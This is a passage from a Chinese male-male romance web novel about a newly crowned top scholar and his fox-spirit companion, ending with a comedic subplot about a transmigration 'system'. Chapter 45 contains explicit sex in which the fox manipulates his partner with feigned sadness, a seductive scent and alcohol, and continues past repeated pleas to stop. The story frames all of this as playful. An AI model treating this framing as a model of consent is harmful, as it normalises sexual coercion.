“你还不信!”解廉掀开官服给他看怀里抱着的那个形状奇异的小石头,“我这石头闻见妖怪味儿就亮,越浓越亮!我这鼻子也不是吃素的,我都练出来了。” 齐青寄极其震惊,实在想不到什么人进宫参加谢恩宴还在官服里藏个照妖的石头? 解廉一脸我懂你的表情还佯装吃饭夹了口菜,“你跟我说说,你别是在外面偷腥啊?我可见多了。你要是偷腥准是遇见狐狸精了!狐狸精专门勾搭你这种的,别看狐狸精貌美勾的你一愣一愣的,勾搭完就掏心,你放心,你告诉我,我不告诉你夫人。” 齐青寄开骂了,“你才偷腥,好不要脸!饭可以乱吃话不要乱说,天地可鉴我就一个夫人!”他提起袖子闻来闻去,上面全是胡离净衣服上熏香和他身上的香味,“这上面明明都是我夫人的香味!” “我都没成亲!”解廉万分冤枉的为自己辩解然后下了定论,“那你夫人就是狐狸精,要么你其他亲近的人是狐狸精,反正跟你密切相处的人。” 齐青寄:“你放屁!” “你怎么就不信呢,要不等会儿游完街你带我回你住的地方,我保证给你把狐狸精揪出来。” 齐青寄:“滚。” 解廉被这么一声滚给震住了,立马缩回去开始老老实实吃饭。 齐青寄坐在那思想来去还是不放心,于是再次侧身假笑着朝解廉勾勾手,“你知道你为什么是探花吗?” 他正打算以状元的身份告诉他好好学习别继续学捉妖了,没想到解廉下面的话彻底把他整个人都给震住了。 解廉并不像开玩笑,很理所当然,不论是表情还是说话的口气无一不证明着他就是这么想的,这话毫不犹豫的就从他嘴里说了出来: “当然是因为我比你英俊。” 第43章 第四十三章 金榜题名夜 传胪大典后状元榜眼探花从午门正门出宫, 其余进士从侧门出。 长安街百姓早早围在周围沾沾喜气,胡离净早早在楼上订了房,正好位于长安大街中段, 几乎能从头看到尾,写有‘肃静’、‘回避’的牌子被差役举着在最前方开道,后面是举着旌旗、吹奏乐器, 抬着‘进士及第’牌匾的仪仗队伍,最中间就是状元榜眼探花及其余进士。 隔了很远胡离净就看见齐青寄现在的装扮, 头插金花,十字披红, 跟之前在宫里又是不一样的装扮, 在高头大马上坐的很稳, 队伍行进很慢, 走了很久也没到胡离净这儿, 不远处的二楼已经有洁白绣着花绣着草的帕子被抛下去。 这场景在话本子就是才子佳人的佳话, 现在放胡离净眼里不大痛快,帕子花最大的目标也就是状元和探花, 都是二十出头年纪正好的年轻人,榜眼已经年过半百, 为了躲避那些带着香风的东西甚至骑的马又落后了点。 胡离净看了会儿突然笑了下,也从怀里掏出一张什么都不绣的帕子也往楼下抛去。 …… 齐青寄轻车熟路的躲那些落在身上的帕子, 一路走来反倒没什么东西留在他身上,各种淡淡的香往他鼻子里钻, 他表情像是在笑,可又没在笑,往后看了眼没有看到齐青奇,现在也看不到胡离净, 神情有点迷茫,有点奇怪,甚至有点隐藏的很深的可怜,唯独没什么状元游街的喜悦。 可气氛如此,到处都是欢乐的气氛,他穿着华美的衣服,骑着高头大马,没人注意到他笑还是不笑,谁都觉得状元此刻该是多么春风得意。 帽子有点重他到处抬头看不算很方便,也没有多么大的兴趣去抬头,只凭自己的感觉躲避扔下来的东西,其实这些东西大多到不了他们这儿,他也稍微松懈下来。 头顶落了片阴影,好像是有帕子朝他这儿飘来了,齐青寄也不着急躲,看帕子的影子大小再做决定,明明稍微偏头就能躲开的帕子再次往他身上飘,当他躲了好几次这玩意儿像是缠上他一样齐青寄终于察觉出帕子的不对。 他没再躲白色不锈花的手帕,任由那东西挂在了他的帽子上,绝大部分垂下来随着他的动作晃来晃去,熟悉的气味像是有领地意识一样驱逐了那些脂粉的香,他把帕子攥在手里一看,终于抬头在高处搜寻起来。 那身张扬的红衣不难发现,漂亮的面孔也足够引人注意,见他终于发现了自己,胡离净靠在窗边朝他笑了笑,齐青寄也笑,然后低头把那条帕子塞进了衣袖里。 虽然到处都乱哄哄的但最前面的齐青寄每一个动作都足够引人注意,红色的衣服里白色的帕子十分显眼,有好事者顺着齐青寄看的方向踮脚去看却只看到了扇关着的窗户,不由得更加好奇。 但是看了一路那扇窗户也不见再打开,最前面意气风发的状元郎也不再抬头跟着队伍继续向前。 前三甲只有探花解廉是京城人士,解家早早在门口迎接设宴,其余二人都是同乡在客栈设宴欢迎,游街结束后齐青寄还要去拜孔庙。 诸如此类一切事宜完毕后已近天黑,在外一整天的齐青寄终于回到了之前栖身的客栈,他还是那身红袍头插金花,垂着袖子一进来就跟胡离净笑,然后抬起手露出了袖子里藏着的、不知道什么时候就拎在手里的酒。 “你就穿这这一身去买酒?”胡离净替他把帽子摘掉。 “是呀。”齐青寄在街上喝了点御酒,又在宴上喝了点,总之看着不大清醒,一直跟胡离净笑,“我穿着这身去,店家没收钱,打的最好的。” 胡离净看他不清醒也哄他,“我们状元郎这么大面啊。” 齐青寄晃着脑袋点头,把酒放在桌子上去拿杯,很高兴的样子,“青奇是二甲。” 胡离净并不意外陪着他坐在桌前,“他二十岁重举人,这次榜上有名并不意外。” 齐青寄重重嗯了声倒酒,“喝酒。”他率先干了一杯已经显露了醉态,“我打听了,京城买一处宅子是真贵啊,把我俸禄掏干净都买不起——我带你跟青奇回漳州好不好?” 胡离净不可能现在走,李言普不会放他走,哪怕他走了也绝不会善罢甘休,不解决掉这人迎来的是无穷无尽的麻烦,他不怕,但齐家人怕。 但他又不能杀掉李言普这种在剧情里占比很大的人物,提前死掉带来的蝴蝶效应和世界排斥让他这个异世人不得不斟酌又斟酌,谨慎又谨慎。 他没直接答应这话,“你不想留在京城当京官么,好不容易考上了状元。” “不想。”齐青寄没有什么犹豫,“这儿不是我的家。”他说完从怀里往出掏胡离净扔下来的手帕拿在手里玩,“你喜欢这儿么?” “哪对我都一样,想回漳州就回吧。” 任命时间不一定什么时候下来,具体还是要看各处空缺,胡离净并不着急,还是决定先答应下来。 齐青寄一声不吭又喝了几杯,捂着脸在那缓肚子里不舒服的感觉,“殿试的时候皇帝说我诗写得不好。” “诗写不好都是状元,那你别的地方肯定比别人好得多。” “不是。”齐青寄又笑了,“皇帝说他也不会写诗,说我实在合他的意,所以就点我当状元了。” 他说完就整个人趴在桌上呻/吟,“我不行了,好晕。” “以后不要喝了。”胡离净把杯子拿远怕他碰倒,站起来掐着齐青寄腋下将他扶起来往床上走,他刚被扶起来还很乖的靠着也不动弹,很顺从的跟胡离净走,所以胡离净扶着不怎么费事,反倒是走了几步好像想起来什么,只是挣扎着想回桌子那也不说话,胡离净把他制住,“不能喝了。” “……帕子。”他醉的嘴皮子不受控制,说话都磕巴,挤了半天从嘴里挤出这两个字。 胡离净本来打算先把他放回床上再去找,谁料齐青寄现在胡搅蛮缠就是要帕子,不给帕子立马要原地躺下,搅得他没办法只好一把把齐青寄的脑袋按进怀里让他闻这才把人安抚住,放在床上的人把脑袋往枕头里一埋找到自己熟悉喜欢的味道彻底消停了。 胡离净任劳任怨开始给他拖鞋脱衣服,又返回桌前把帕子拿到手塞进他怀里,醉的双眼发直的人居然还记得拿帕子盖在脸上再睡。 消停下来的人也打扰不到他,胡离净把乱七八糟东西收拾完才吹了灯打算上床,盖着帕子的齐青寄好像已经睡熟,帕子很薄,放在脸上也不影响呼吸,但胡离净还是掀开检查了下才又放回去。 一整天从这里去阁老府,再去宫里,又去长安大街再回来,不止齐青寄累够呛,胡离净这一天也不算多舒坦,自从到这儿闲散日子过惯了,突然紧凑一下很不适应,床他已经睡惯了,身边人的气息也很熟悉,没有多时他就有了睡意。 他似乎睡着了,但又没真正进入深度睡眠,所以当齐青寄将半个身体压在他身上时立刻清醒了些。 “今天那个探花说我身上有狐狸味。”齐青寄睡了会儿那种喝太多要吐的感觉消失了很多,现在意识极其的清醒,“他还说要来抓妖怪。” 齐青寄感觉他说完就凑上来压着他的脖子闻,“哪有狐狸味,那个狗鼻子,明明是香的。” “真有狐狸精你就傻了。”胡离净睁着眼睛看床顶,微微偏开脑袋给他让出点位置。 “我不怕那个,我又不是没见过。” 两人沉默下来,胡离净不回答这个话也不动,压着他半个身体的齐青寄也不说话了,直到胡离净觉得时间已经足够长齐青寄大概已经睡着后才稍微动了下被压麻的半个肩膀。 “你没睡着啊。”轻微的动作就吸引了齐青寄的注意力,刚才还一动不动的人立马坐起来,“我也睡不着。” “……”胡离净,“睡不着想干嘛。” 齐青寄:“我今天金榜题名了。” 刚才一句有狐狸味打消了胡离净所有交谈的欲望,于是他只是嗯了声。 齐青寄明显对胡离净简单的嗯很不高兴,重新俯身把脑袋拱在他的脖子里再次不确定的询问,“你会跟我回漳州的吧?” 胡离净嘴上嗯了声,心里却在想没准等你知道他是只狐狸精的时候只怕恨不得退避三舍,还回什么家。 齐青寄声音有点高兴又有点不高兴,很纠结的开口,“你记不记得我之前说什么——就是那个金榜题名夜……” “洞房花烛时?”胡离净接话。 埋在脖子里的脸很快热起来,连带着胡离净也发起烫,那点羞怯灼热的情绪似乎也感染了他,躺在那里面无表情的胡离净头顶收的很好的耳朵也蠢蠢欲动起来。 他拉着齐青寄的手从脸颊一点点往上摸,很想冒出耳朵让他摸一摸看他什么反应。 摸在侧脸的手却不听他指挥往上摸,只是留在了脸上捧着细细的亲吻: “别睡了吧?” 第44章 第四十四章 耳朵 与往常含义简单的亲吻不同, 现在捧着他的脸亲吻的齐青寄明显想做些什么,很迫切的想进行一些亲密的事情来证明什么。 那些热情的吻落在脸上胡离净并没有拒绝,反倒揉捏着他最近清减了不少的腰。 齐青寄的手落在他的耳垂上轻轻的揉捏, 沿着软骨一点点按压,万分喜爱的咬上来用牙齿磨。 齐青寄忙着亲他,胡离净就专注的上手扯他的衣服, 务必保证一会儿就算他看见狐狸耳朵想跑也没衣服不能出去裸奔。 本来睡觉就只穿着柔软的里衣,折腾半天松松垮垮的领口直接被胡离净扒了一半下来, 胡离净的手摸上他的肩头动作微不可察的顿了下。 手上摸到的皮肤和眼前看到的样子都代表着这绝对不是一副富贵的身体,不论是残留的疤痕或者略显粗糙的手感也证明着身体的主人来自寒门经历过劳作。 齐青寄的动作急切又不得章法, 咬着耳朵他既想用最轻柔的力道去亲吻, 又想咬着牙直接给他咬下来, 两种矛盾的想法充斥了他整个脑海, 最后他也只好松开了胡离净的耳朵。 脱离了温热口腔的耳朵凉下来, 胡离净偏头在枕头上蹭了下感官才恢复正常, 松开耳朵的齐青寄又把目光放在了胡离净脖子上。 齐青寄一直在他身上作乱,一副要占据主导地位的样子, 胡离净也不打断他随便他亲。 他想在胡离净脖子上留下什么痕迹但奈何并没有什么实际经验,亲来亲去除了把胡离净弄的很痛没留下什么属于他的印记, 又亲了好几下的人很不信邪的掰着胡离净的下巴让他抬头腾出位置让他仔细研究。 胡离净又不是什么真柳下惠,从前顶多就是平等的仇视每一个登, 现在自己属意的人在自己身上又亲又舔还没反应那就不是柳下惠而是X无能。 正在研究脖子数次实验想嘬出明显痕迹的齐青寄猝不及防被胡离净按在怀里,胡离净这样按过他很多次, 他已经习惯了,甚至被按在哪就开始亲哪,亲着亲着觉得胡离净身上的香气更加明显起来,自觉找到最好闻的地方的人用鼻子搜寻着味道窝在那里慢慢的嗅。 他这番举动正合胡离净的意, 世人对狐狸精的所谓魅惑人心的印象并不差,有用法术、香味或者是分的更细一点不同种族的天赋,总之五花八门,专门散发出的香味全被他吸了进去,怀里抱着的身体微微发烫,甚至有些难耐的蹭了下再次抬头亲他。 里衣挂在身上,一直躺在那里任由他亲的胡离净总算有了别的动作,晕晕乎乎趴在他身上的人被掀开压在床上,刚才还挂着的衣服彻底被扒了下来,凌乱披散的头发被扒拉开露出他的脸,胡离净那双在黑夜中很亮的眼睛打量着他的神色——脸上晕着红,眼里有点掩盖不住的渴望,神情不算清醒但也绝没有失去自我意识。 胡离净笑了下,凑近他的眼皮很轻的落了个吻,对方的眼睛下意识的闭上又睁开,等再睁开眼里明显盛满了笑。 意识不算很清醒的时候得到一个吻就下意识的朝你笑,没有人看到这副场景能不动容,胡离净也一样,本来就强烈的亲近的意愿在此刻更加强烈起来,几乎占据了他整个心。 脸又被轻轻的碰了碰,“真好看。” 一直以来厌恶听到的夸赞在此刻成了某种魅力的证明,讨厌的脸成了讨得欢心与爱的利器,对着齐青寄的目光他第一次、真切的意识到讨厌的或许不是漂亮到常常被用下流的目光看的脸,他讨厌的是那些目光、是那些话,也是那些人。 “真的好看?”胡离净飞快去啄吻了下他即将撤回去的手。 “真的好看。”齐青寄说,他异常笃定,“谁见到你都会记住你的。” “真的?”胡离净逗他,“怪不得你第一次见我就追出来了。” “……”齐青寄抿抿红润的嘴唇,“我第一次见你就记住你了。” 他搂住胡离净的脖子往下压让他贴紧自己小声重复,“我第一次见你就记住你了。” 这点赞美笃定不犹豫,甚至没有多么华丽的辞藻堆积,但胡离净被取悦到了,“那我以后是不是得好好保护我这张脸啊。” 齐青寄没接声,两个人贴着脸就这么抱着。 这气氛太过闲适,胡离净甚至不想坦白什么自己是妖怪生怕破坏了此刻的氛围,觉得就这么下去也挺好的,但是他不能——齐青寄会老去,但他有长百上千年的寿命,如果想长久陪伴不坦白是不可能的,他也不能瞒着自己是妖怪跟齐青寄发生什么。 齐青寄似乎也沉溺在这种气氛中整个人都懒散下来,并没有注意到自己抱着的人头顶上那双毛茸茸的耳朵反倒把脸往脖子里埋的更深。 就露着耳朵在这里等他发现其实是种煎熬的事情,他没法确认齐青寄到底什么时候抬头看或者伸手摸,故而也不确定那把刀什么时候落下,他不是犹豫的人,既然已经露出来今天是必然要让他知道,于是主动攥住齐青寄的手往上摸。 那只手很顺从的跟他走,被带到了耳朵上还不明所以的摸了摸,他似乎还在思考,过了几秒动作就微微一滞,敏感的耳朵被除自己以外的人触碰本来就控制不住的抖动想躲开,可当现在上面那只手真的停住的动作没有继续捏捏后反倒主动往手心里靠。 耳朵是他的当然顺从他的心意,不止耳朵,胡离净现在心跳的很慢但重,每一下都存在感十足的昭示着他现在并不平静的内心。 但很快,那只手再次收紧了,沿着耳朵下面一路摸到耳朵尖,还把柔软的耳朵尖窝起来卷了卷。 “我是狐狸。” 胡离净听到自己刻意假装平静的声音在黑夜响起,视物很好的眼睛此刻却不肯抬头去看他,他能感到那只手又从耳朵尖一路往下摸,最后双手都落在了他的下巴上微微使劲让他抬头,然后又去亲胡离净那双狐狸眼,“怪不得你这么漂亮。” “……你不惊讶?”胡离净声音里带着迟疑,“跟你一天到晚待在一起的是个会挖心的狐狸精。” “你不是早就给我看过你的尾巴了吗?”齐青寄脸上一点惊讶的神情也没有,“喝酒那天、还有被子里那天,你骗我是鸡毛掸子。” 说起这个胡离净有点理亏,“……我不是故意骗你。” “我知道。”齐青寄说,“谁家鸡毛掸子是热的?” 现在看来反倒是他比较傻一点?胡离净问自己,又或者是齐青寄一直表现的对他一头热看起来不太聪明,第一次见他就喜欢才让他无数次忽略,又好几次撒了一点都不走心的谎。 这么一想齐青寄就开始思考自己是不是更早一点就露了马脚,“所以你是从那时候就知道了?你不怕?” 齐青寄垂了下眼,“……是那时候,不怕。” 要是齐青寄一直知道他是狐狸那么有些事也就说得通了。 “所以你那天以为人是我杀的,捉妖司的人要捉我才急急忙忙想带着我跑?” 齐青寄嗯了声,“你又不直接告诉我你是狐狸,我想你万一是不想说这个呢,那天还真是有苦说不出,你老冤枉我是怕妖怪才跑,我哪是怕妖怪,我是怕你被逮了。” 胡离净:“我没杀过人。” “我知道。”齐青寄又在走神,今天他走神的频率实在太高,好几次都是走那么一下又回来,“你跟它们不一样,你是好狐狸。” “我是好狐狸?”胡离净说话声音上扬,很稀罕的问,“你又从哪知道我是好狐狸?” “我就是知道。”齐青寄也不说原因,“你跟它们不一样。” “你知道的这么多还在我面前表现的那么傻?”胡离净起来不让他摸耳朵了,他手里失去了那点软软的触感还依依不舍的虚虚抓了几下才收回手。 “……我又不是故意的。”齐青寄看起来也很冤枉,“你往我面前一站我还想得起来什么,不前言不搭后语就不错了,哪还想得起来别的。” 这话无疑又是在大肆夸赞胡离净的魅力,又把他给夸高兴了,于是再次把耳朵送回齐青寄手里随便他摸。 齐青寄摸着耳朵得寸进尺,“我想摸尾巴。” “我翘着屁股给你摸吗?”胡离净实在想不出来现在这个形态露出尾巴怎么让他摸又方便又舒坦,况且他一个大猛一翘着屁股算怎么回事。 “那你能不能变成狐狸让我摸摸?” 衣服都被脱了还亲了半天现在不做正事要他变成狐狸给你摸??? “今天要是摸了就不要做别的了。”胡离净威胁他。 齐青寄立马改口,“其实也不是很想摸。”他的手在胡离净背上摸来摸去,很不放心开口,“你不会看上别人吧?譬如说我弟弟。” 胡离净:“???” “怎么又扯上你弟弟了?” 胡离净不由得又想起齐青寄对自己弟弟那副防贼当鬼的模样就觉得好笑。 齐青寄想了想勉强扯出个理由,“因为我弟弟长得也很俊俏。” 胡离净:“???” 他在齐青寄心里难道是个色魔? 第45章 第四十五章 密切 空气变得粘腻又潮湿, 被压着的人几次想起来无果也放弃纠正位置,很不满意自己被扒光了身上人还衣冠楚楚于是也伸手去扒,扒来扒去他终于极其自然又不经意的在自己最感兴趣的地方捏了捏。 胡离净亲吻的动作一顿, 故作惊讶,“……你摸我那干什么?” 齐青寄摸的正爽,打算再进一步时就被胡离净给打断了, 他的手被胡离净捏着控制在胸前,“你摸我那干什么?”胡离净一脸惊疑不定, “你不会是想…我吧?” 齐青寄也很懵,“……嗯?” 他的双手被捏在胸前没法动弹, 只好用语气和表情来表达自己的疑惑, 思考了下也反应过来了, “你不会是想…我吧?” “不可以吗?”狐狸十分不解并十分震撼, “你口味居然这么重, 居然要…狐狸?” “难道被狐狸口味就不重了么?”齐青寄独自一人在床上陷入凌乱, 立马据理力争,“况且我也不是要那什么狐狸, 好歹你现在是人形不是?” “我比你高,我比你壮。”胡离净也据理力争抬起胳膊给他展示, “你难道不知道我比你高一个脑袋么?” 齐青寄也不试图挣扎了,躺在那里只顾着很怀疑人生, “我要是被那什么了,我爹娘能打死我。” “可是我怕痛呀!”胡离净万分柔弱的往他胸膛上一靠似乎已经开始陷入幻痛无法自拔, “真的很痛啊。” 狐狸不止在他胸膛上靠着,还要往他手心里蹭那张脸,眼睛里似乎都有了水,实在是可怜的不能再可怜。 齐青寄:“……” 他很可耻的动摇了。 “不行!”齐青寄捂住脸, “我不行!太可怕了,我真要被祖宗从地里爬出来打死了。” “好吧。” 胡离净也没强求,扒拉扒拉衣服穿好坐床边了开始叹气,床上的齐青寄还兀自沉浸在自我怀疑的情绪中无法自拔直到胡离净叹气快把嗓子叹哑了才大梦初醒,衣服都来不及穿慌乱的趴在胡离净背上看他,“啊?怎么了?不要叹气啊,我、我……这。” “你还是介意我是只狐狸吧。”胡离净张嘴就一口大锅给他扣头上,再次柔弱的叹气,“算了,我还是走了算了,反正你也中状元了,等回漳州谁娶不得,何必跟我一只狐狸纠缠呢?” “没有啊!我没有这个意思啊!”齐青寄慌乱极了,掰着他的脸连连亲吻以示绝不是介意他是狐狸什么千奇百怪的理由。 “那你是介意什么呢?”胡离净又把脸往他身上一靠,“在外面你还是夫君啊。” 还可以这样? …… 齐青寄头脑发胀,浑身烫的要命不肯抬头,一味将脸埋在被子里喘不过气也不肯放手。 深夜寂静,除了胡离净的呼吸声还有他自己的以外听不到其他的声音,正是因为这样粘腻的声音才更加明显也更加让人脸红心跳,忍受了很长时间的齐青寄终于不堪忍受的去推胡离净的胳膊,“不要了、就这样就好了,别弄了。” “会痛啊。”胡离净怕把脂膏沾到被子上,于是举着一只手俯下身去亲他的后颈,“真的会痛的。” 被亲了一下齐青寄把头埋的更深了,“……现在就痛,别弄了。” “胡说。根本不痛。”胡离净的嘴唇不肯离开他的后颈,放在一边的散发着香味的小盒子又被拿到手里,微凉的脂膏被放在手心里融化,齐青寄暂时能喘口气,埋在被子里空气长时间不流通脑子很晕。 好容易出来喘口气下意识偷偷回头去看胡离净一声不吭在干嘛,在看见他手心里那一大块脂膏时猛地瞪大眼,“给我用……?” 那只滑腻的手惹的他打了个激灵,被按着跑都没地方跑,更何况跑了实在太没有男子气概,齐青寄想着自己的男子气概闭眼咬着牙硬忍。 这副表情实在可爱的厉害,胡离净没忍住亲了又亲,上面极度纯情用嘴唇贴贴啄吻,手上干的又是别的勾当,那张脸很快就变红了,胡离净嘴唇碰到的任何一个地方都烫的能煎鸡蛋。 眼见着齐青寄一副咬牙闭眼忍耐的样子胡离净赶紧趁现在再接再厉,本来还算收敛的动作彻底放肆起来,一直寻找的地方终于被找到,胡离净仔细看着他的表情才试探着摸上去。 一直闭着眼的齐青寄猛地睁大眼惊叫一声,下意识夹紧又挣扎了下掰着胡离净的肩膀想接力跑被按着没法动弹,“别……”他声音里带着点迷茫和祈求,“被碰那,好了!别弄了!” 抽走的手彻底让他松了口气,脂膏失去翻搅有些凉飕飕的又让他极度不自在的合拢,最后一点脂膏又被胡离净全挖走尽数用净,本来就极度羞耻的齐青寄现在整个人直冒烟,明明自己也有从小看到大的东西现在看着就是让他浑身发毛。 他羞怯的不肯自己分开,却对胡离净的手堪称顺从,闭着眼只假装自己不知道,胡离净被他一副自欺欺人的模样逗得直笑,现在齐青寄敏感的神经对什么都疑神疑鬼,听见胡离净笑的第一声极惊疑不定的看他,“……你笑什么。”他问完又打算合上了。 “诶。”胡离净眼疾手快拦住立马挤进去,跟他鼻尖对鼻尖的哄他,“没有笑你。”他说完用鼻尖蹭他的鼻尖,“是因为好看。” 彻底贴上齐青寄快要晕倒,拼尽全力往后靠恨不得把床板凿个窟窿躲进去,他越躲胡离净越靠近,后面有床板躲就是个动作,可胡离净的靠近可是实实在在的贴近,床褥被折腾的皱巴巴,一直在凑近的胡离净伸手捞住往回一按,“别躲了。” …… “别叫,隔壁还有人呢。” 手掌捂上下半张脸只露出一双有些失神的眼睛,虽然已经过了段时间但齐青寄每晃一下脸就更红一点,最后只好抱紧胡离净捂着他嘴的胳膊发出哀哀的声音。 胡离净俯身压了一点去隔着手掌亲他,明明没有碰到他的嘴唇但齐青寄还是反应很大的发出点可爱的声音,他距离很近的看了齐青寄几秒好容易大发慈悲的松开了手,能大口呼吸新鲜空气的人下意识张开嘴用力呼吸根本顾不上在自己脖子上侧脸胡作非为的人,他呼出的气顺畅一会儿突然又断一下,每断一下也下意识去瞪胡离净,“呃!” 现在不管怎样的美貌都无法让他迷迷瞪瞪的顺从,第一次受到‘瞪’的待遇的胡离净万分新奇的亲吻他又动了动,“再瞪几眼,嗯?再瞪几眼?” 齐青寄现在什么他的男子气概都不记得了,胡离净要他瞪他就是不瞪,把上半张脸一捂一条腿没用什么力气的蹬了他一下,他的腿酸的厉害,今天已经被迫抬起来支撑了很久,现在轻轻蹬一下没什么力气立马要垂下去却被胡离净捞住腿弯在膝盖处亲了下。 齐青寄被亲的一抖,张嘴想骂这个狐狸却又猝不及防被捞着腿弯一扯。 本来在靠下位置躺着的人在长时间里被迫一点点往上移动,这下又被重新扯回去,齐青寄什么都不想了,什么狐狸状元的,现在只要能让他下床滚下去也是愿意的。 可滚下去显然不现实,他也只好特别屈辱的制住胡离净不让他动,“别动了、我不行了。” 他不敢松懈,腿上就靠着一口气撑着才有这点劲,只要一松懈绝对立马又酸下来,胡离净也没去拽他,反倒像个小动物似的去蹭他的脸,“不行了?真的不行了?可是我还想。” “真的不行了。”齐青寄强调,看见胡离净这副样子有点放松警惕,腿上也松了点劲,胡离净虽然顺着他松开再次贴了上来,但是倒真的没什么额外的动作,这样的举动让他更加松懈下来,“来日方长、来日方长。” 胡离净蹭着他的脸,“就这次行不行?都一半了。”他说着又捞起齐青寄的腿从里到外从上到下摸了一遍,还露出犬齿里里外外咬了一堆印子。 齐青寄闻言有点犹豫,也有点对那张来回蹭自己的脸的心软,“就这半次?” “就这半次。” 胡离净起身笃定回答,见齐青寄马上要点头答应就再次压了上去。 齐青寄双眼几乎是一黑,觉得这次绝对比哪次都重都狠,实在不理解胡离净顶着那么一张脸为什么这么急躁,一瞬间又崩溃起来开始连声催促,“你快点。” “马上。”胡离净埋在怀里含糊的说,已经露出的犬齿没有收回磨蹭着很快就红肿起来,头顶声音更加崩溃的催促,“马上。” 只是齐青寄很快就理解了所谓‘马上’这个词到底有多么不快,马马上上无穷尽也。 他眼睛都睁不开了,崩溃的喘,实在不想哭吸了吸鼻子擦擦眼角的泪去看外面,开着半个透气的窗户可以看到外面的天色,这告诉着齐青寄到底过去了多久,当然也毋庸置疑的加重了他的崩溃: “天都亮了!” 第46章 第四十六章 你怎么跟他牵扯在一起?…… 躺在床上的人睡的很沉, 加上出去游街几乎一整天没休息还喝了酒,被胡离净折腾了一番爽是爽到了但也确实是累到了,现在怎么扒拉都没反应。 胡离净轻手轻脚坐了一个边撩起被子看, 肥嘟嘟的很可怜,也幸亏他早有准备,用来消炎的药膏被从里到外涂抹了一遍, 齐青寄很不舒服的皱眉挣扎了几下,最后还是敌不过汹涌的困意躺平睡着了。 他困狠了, 一睡就从早上睡到了晚上,中间胡离净半压半哄着又给他涂了两次药。 齐青寄是被屁股给凉醒的, 迷迷糊糊刚睁开眼就被自己露在外面凉飕飕的屁股夺去了所有注意力, 某个不可言说的部位似乎涂了东西, 胡离净还特意把裤子扒掉让屁股和空气亲密接触晾着。 齐青寄表情有点呆滞, 撑起半个身体扭头看自己也不太熟的屁股, 那些记忆一股脑的全进了脑子, 他很没有安全感的拉了拉被子试图盖上,只拉到一半就被一只手扯住, 刚刚醒还懵的人哪拉的过吃饱喝足的胡离净,不止把屁股晾出来, 两条白花花的腿也露出来了。 “刚涂了药别动。”胡离净微微笑了下,“蹭被子上还得重涂。” 他说完试探着去亲齐青寄的嘴唇, 还懵着的人很配合的抬头亲了下开始后知后觉的脸红,推了推胡离净, “不要亲了。” “不亲了。”齐青寄醒来发现被大砰特砰说停继续砰居然没翻脸生气这倒是胡离净没想到的,对齐青寄对自己的包容有了个更新的认知,“你饿么?等药膏干了先吃点清淡的。” 齐青寄重新趴回去摇了摇头,“不吃, 趴着压着肚子不饿。” “不饿也吃。”胡离净去桌子上试了下粥的冷热,“昨天在外面一天,回来又喝了酒,然后又这样那样,这么长时间不吃少吃点。” 齐青寄无精打采的嗯了声,他还是乏,但却没什么困意,只好耷拉着脑袋靠在枕头上打瞌睡,屁股上的凉意已经习惯被他忽视,一双带着熟悉气味的手放在了额头上,他不明所以抬起点眼睛看胡离净。 “我看你无精打采的还以为发热了。”胡离净解释完伸手去掰,“让我看看怎么样了。” 刚才还无精打采的人立马捂紧誓死守护不肯再让胡离净看了,“不要看不要看!” 胡离净定定看他几眼发出恶魔低语,“你睡着的时候我里外上药看了个遍,我不止看,我还摸了,昨天晚上我还……” 齐青寄把脑袋捂住再次怀疑人生了。 上次把齐青寄弄狠了,后面几天连亲都不给亲,虽然胡离净立马顶着自己的脸行色诱之事哄了,不止是哄,刚刚开荤他抱着人难免会想,初次尝试实在新奇又让人欲罢不能。 由俭入奢易,由奢入俭难,胡离净每天晚上抱着人实在是难受,只好抱着亲了又亲。 亲吻的时候齐青寄总是很小心,也不再试图跟胡离净抢占什么主动权,每次胡离净亲他发出一些声音齐青寄总是反应很大的立马分开仔仔细细听,终于在第三天往后齐青寄才扭扭捏捏开口,“咱们能不能换个住的地方。” “嗯?” 齐青寄脸爆红,很愤愤的说,“我那天叫那么大声!”开了个头他是彻底憋不住了,开始控诉胡离净。 “你亲的我时候声音还那么大!” * 胡离净最近跟李言普的交道打的频繁起来,他自己修炼还要自己去找,倒不如趁现在李言普还在多白/嫖一点是一点,死道友不死贫道,便宜别人不如便宜他。 宫里他已经很熟悉,李言普给了他一块自己的令牌方便他进出,整个皇宫想必也不缺能看出他是个妖怪的,但李言普在上面压着一堆捉妖师愣是谁都不敢提出不合规矩。 他刚从藏宝阁出来,怀里抱着个木匣子沿着自己记忆中的小道抄近路走,已经不知道多久没一点声音的996终于出现了。 胡离净居然从它那张甚至看不出五官的灯泡脸上看出点受尽磋磨而苍老的意思,“……你干嘛去了?” 996长吁叹气,像是短时间长大了不少,【打工去了。】 “打工?”胡离净问,“给你们那个星际总局?” 【算是、也不算是吧……】996有气无力,甚至没劲飞干脆落在胡离净肩上让他带着自己走,【我上一个任务不算成功,但好歹过及格线了,你这个任务眼见着马上要失败了。】 【你以为我想打工么,我实在没招了!】996悲愤无比,【我的排名从上一个任务开始就掉了一名,估计你这个完了跟第一名的差距拉的更大了。】996实在没话说了,【我干的那些那是新系统初出茅庐搞砸回去刷积分的地方,为了那么点积分总成绩不要太难看我容易吗我。】 它只差哭了,【谁见我都得问一句啊,现在别人都知道我996回去跟一堆新系统刷积分去了,我丢人啊……】996现在终于向现实低头了,【我怀疑是匹配机制给我做局,匹配到的都是不太适合完成任务的宿主,所有下一个我真的要走后门挑个简单的了,再失败我真不中了。】 胡离净真心实意的祝福它,“祝你成功。” 【你多薅点。】996恨恨的,【给他们不如给你,你赶紧长出来第九条尾巴成为大boss把他们统统干死。】 它现在活脱脱像个饱受折磨要来反抗所有的反社会,十分激慨的鼓励胡离净快点修炼成九尾狐,它说完又有点怀疑自己,【不过要是成了九尾狐不可能一点限制都没有吧,这种天赋怪不都是会被削的么,你不可能成了祥瑞就只能做善事吧。】 胡离净表情有点古怪,“你们资料里没说九尾狐么。” 【没有。】996告诉胡离净,【我们要是什么都有那就不会有失败的任务了,一切资料有相当一部分是靠收集或者经历过某个世界的系统反馈补充的。】 胡离净嗯了声,“回去补充资料吧——别的世界九尾狐什么设定我不清楚,这个世界九尾狐不是什么祥兆,简单说就叫‘九尾妖狐’。” 这名字已经很明白的告诉了996这个世界的九尾狐到底是什么性质,胡离净继续道,“况且我又不是没试探过,或许是这个世界有限制不允许妖狐出现,增长修为没事,试图长尾巴——”他指了指天,“总感觉上面压着。” 996或许忙着整理资料去了,胡离净一个人往出走,往常没什么人的小路远处传来人声,他立马停下脚步远远看了眼。 